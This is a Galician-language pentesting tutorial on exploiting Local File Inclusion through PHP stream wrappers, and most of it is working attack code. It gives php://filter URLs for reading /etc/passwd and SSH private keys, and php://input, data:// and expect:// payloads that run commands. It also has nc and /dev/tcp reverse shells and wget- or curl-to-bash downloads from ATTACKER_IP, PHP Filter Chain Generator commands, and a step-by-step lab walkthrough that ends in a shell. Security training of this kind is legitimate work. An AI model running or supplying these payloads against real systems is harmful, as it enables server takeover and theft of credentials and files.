Ir ao contido

PHP Wrappers

Os PHP wrappers (ou stream wrappers) son protocolos especiais que PHP usa para acceder a diferentes tipos de recursos (ficheiros, URLs, memoria, etc.) dunha forma unificada.

Concepto básico

PHP permite acceder a recursos mediante URLs especiais cun formato:

wrapper://parámetros

Exemplos:

file:///etc/passwd          // Wrapper file (por defecto)
http://example.com/file.php // Wrapper HTTP
php://input                 // Wrapper PHP (entrada estándar)
data://text/plain,Hello     // Wrapper data


Wrappers PHP Principais

1. php:// wrapper

Acceso a fluxos de entrada/saída de PHP.

Wrapper Descrición Exemplo
php://input Le datos POST/PUT brutos include('php://input')
php://output Escribe á saída estándar file_get_contents('php://output')
php://filter Aplica filtros a fluxos php://filter/read=convert.base64-encode/resource=file.php
php://memory Almacenamento temporal en memoria fopen('php://memory', 'r+')
php://temp Ficheiro temporal fopen('php://temp', 'r+')

2. file:// wrapper

Acceso ao sistema de ficheiros local (wrapper por defecto).

file:///etc/passwd
// Equivalente a: /etc/passwd

3. data:// wrapper

Permite insertar datos inline.

data://text/plain,<?php system($_GET['cmd']); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

4. expect:// wrapper

Executa comandos do sistema (require extensión expect).

expect://ls

5. zip:// e phar:// wrappers

Acceso a ficheiros dentro de arquivos comprimidos.

zip://arquivo.zip#ficheiro.txt
phar://arquivo.phar/ficheiro.php

Uso en Pentesting: Explotación de LFI

Os wrappers PHP son especialmente útiles para explotar vulnerabilidades LFI (Local File Inclusion).

Escenario vulnerable típico

<?php
// Código vulnerable
$file = $_GET['page'];
include($file);
?>

URL vulnerable:

http://victim.com/index.php?page=about.php


Técnicas de Explotación con Wrappers

Lectura de Ficheiros con php://filter

Base64 Encode (evitar execución de código PHP)

# Ler código fonte de ficheiros PHP sen executalo
http://victim.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

# Ver /etc/passwd
http://victim.com/index.php?page=php://filter/read=convert.base64-encode/resource=/etc/passwd

# Ler clave SSH
http://victim.com/index.php?page=php://filter/read=convert.base64-encode/resource=/home/user/.ssh/id_rsa

Proceso:
1. PHP codifica o contido en Base64
2. Descodificas o resultado para ver o contido orixinal

# Exemplo de descodificación
echo "PD9waHAKZWNobyAiSGVsbG8gV29ybGQiOwo/Pg==" | base64 -d

Remote Code Execution (RCE) con php://input

Enviar código PHP mediante POST

# Preparamos o payload
curl -X POST --data "<?php system('whoami'); ?>" "http://victim.com/index.php?page=php://input"

# Reverse shell
curl -X POST --data "<?php system('nc -e /bin/bash ATTACKER_IP 4444'); ?>" "http://victim.com/index.php?page=php://input"

# Con exec()
curl -X POST --data "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"'); ?>" "http://victim.com/index.php?page=php://input"

RCE con data:// wrapper

Código inline sen POST

# Executar comandos (se allow_url_include=On)
http://victim.com/index.php?page=data://text/plain,<?php system('id'); ?>

# Reverse shell
http://victim.com/index.php?page=data://text/plain,<?php exec('nc -e /bin/bash ATTACKER_IP 4444'); ?>

# Base64 encoded (máis discreto)
http://victim.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
# Payload: <?php system('id'); ?>

RCE con expect:// wrapper

# Execución directa de comandos (require extensión expect)
http://victim.com/index.php?page=expect://id
http://victim.com/index.php?page=expect://ls%20-la
http://victim.com/index.php?page=expect://whoami

PHP Filter Chain Generator

Esta é a técnica máis avanzada e potente para RCE mediante wrappers.

¿Que é PHP Filter Chain Generator?

É unha ferramenta que xera cadeas de filtros PHP que, cando se procesan, executan código PHP arbitrario sen necesidade de subir ficheiros.

Repositorio oficial:
- https://github.com/synacktiv/php_filter_chain_generator


Concepto

PHP permite encadear múltiples filtros nun wrapper:

php://filter/convert.base64-encode|convert.base64-decode|string.rot13/resource=file.php

A ferramenta abusa desta funcionalidade para:

  1. Manipular datos mediante filtros
  2. Xerar código PHP válido
  3. Executalo mediante include()

Instalación

# Clonar o repositorio
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator

# Non require instalación, só Python 3
python3 php_filter_chain_generator.py --help

Uso de PHP Filter Chain Generator

Sintaxe básica

python3 php_filter_chain_generator.py --chain '<?php CÓDIGO_PHP ?>'

Exemplos prácticos

Executar comando simple
# Xerar wrapper para executar 'id'
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'

Saída (exemplo):

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|...[MOI LONGO]...resource=php://temp

Uso:

# Copiar o wrapper xerado e usalo na URL vulnerable
http://victim.com/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...[WRAPPER COMPLETO]...resource=php://temp


Reverse shell con wget + bash
# Xerar wrapper para descargar e executar script
python3 php_filter_chain_generator.py --chain '<?=`wget -O- ATTACKER_IP/shell.sh|bash`?>' > wrapper.txt

Explicación do payload:

<?=`wget -O- ATTACKER_IP/shell.sh|bash`?>
- <?= → Short tag de PHP (equivalente a <?php echo)
- ` → Backticks para executar comandos
- wget -O- → Descarga e imprime á saída estándar
- |bash → Pasa o contido descargado a bash para executalo

Preparación no atacante:

# 1. Crear o script de reverse shell
cat > shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF

# 2. Levantar servidor HTTP
python3 -m http.server 80

# 3. Preparar listener
nc -nlvp 4444

# 4. Executar o wrapper na URL vulnerable
# Copiar contido de wrapper.txt á URL

Reverse shell con curl
# Xerar wrapper
python3 php_filter_chain_generator.py --chain '<?=`curl ATTACKER_IP/rev.sh|bash`?>' > wrapper.txt

Executar comando con exec()
# Xerar wrapper con exec()
python3 php_filter_chain_generator.py --chain '<?php exec("nc -e /bin/bash ATTACKER_IP 4444"); ?>' > wrapper.txt

File upload + execución
# Descargar webshell
python3 php_filter_chain_generator.py --chain '<?=`wget ATTACKER_IP/shell.php -O /tmp/shell.php`?>' > wrapper.txt

# Logo visitar: http://victim.com/tmp/shell.php?cmd=id

Exemplo Completo de Explotación

Escenario

// index.php vulnerable
<?php
$page = $_GET['page'];
include($page . ".php");
?>

URL: http://192.168.56.100/index.php?page=home


Paso 1: Confirmar LFI

# Proba básica
curl "http://192.168.56.100/index.php?page=/etc/passwd"
# Non funciona porque engade ".php" → /etc/passwd.php

# Proba con null byte (PHP < 5.3.4)
curl "http://192.168.56.100/index.php?page=/etc/passwd%00"
# Pode funcionar en versións antigas

# Proba con wrapper
curl "http://192.168.56.100/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd"
# Funciona! Recibimos Base64 de /etc/passwd

Paso 2: Ler código fonte

# Ler index.php
curl "http://192.168.56.100/index.php?page=php://filter/convert.base64-encode/resource=index" | grep -oP 'PD9waHA.*' | base64 -d

Paso 3: Xerar payload con PHP Filter Chain Generator

# Xerar wrapper para reverse shell
python3 php_filter_chain_generator.py --chain '<?=`wget -O- http://192.168.56.53/rev.sh|bash`?>' > wrapper.txt

Paso 4: Preparar atacante

# Terminal 1: Crear script de reverse shell
cat > rev.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.56.53/4444 0>&1
EOF

# Terminal 2: Levantar servidor HTTP
python3 -m http.server 80

# Terminal 3: Listener
nc -nlvp 4444

Paso 5: Executar payload

# Copiar contido de wrapper.txt
cat wrapper.txt

# Executar na URL (wrapper pode ser MUY longo)
curl "http://192.168.56.100/index.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|...[WRAPPER COMPLETO]...resource=php://temp"

Resultado:

  • Terminal 2: Recibe petición GET /rev.sh
  • Terminal 3: Recibe reverse shell
nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.56.53] from (UNKNOWN) [192.168.56.100] 54321
www-data@victim:/var/www/html$ whoami
www-data

Restriccións e Limitacións

allow_url_include

Algúns wrappers require que esta opción estea activada:

// php.ini
allow_url_include = On

Wrappers afectados:

  • http://
  • https://
  • ftp://
  • data:// (en algunhas versións)

Wrappers que sempre funcionan:

  • php://filter
  • php://input
  • file://

Comprobación

# Ver configuración mediante phpinfo
http://victim.com/info.php

# Buscar: allow_url_include

Recursos Adicionais

  1. PHP Filter Chain Generator

  2. PayloadsAllTheThings - LFI

  3. HackTricks - File Inclusion


Resumo

Wrapper Uso en Pentesting Require allow_url_include
php://filter Ler ficheiros, RCE avanzado ❌ Non
php://input RCE mediante POST ❌ Non
data:// RCE inline ✅ Si
expect:// RCE directo ❌ Non (require extensión)
file:// LFI básico ❌ Non

Mellor técnica:
- PHP Filter Chain Generator → RCE sen allow_url_include nin subir ficheiros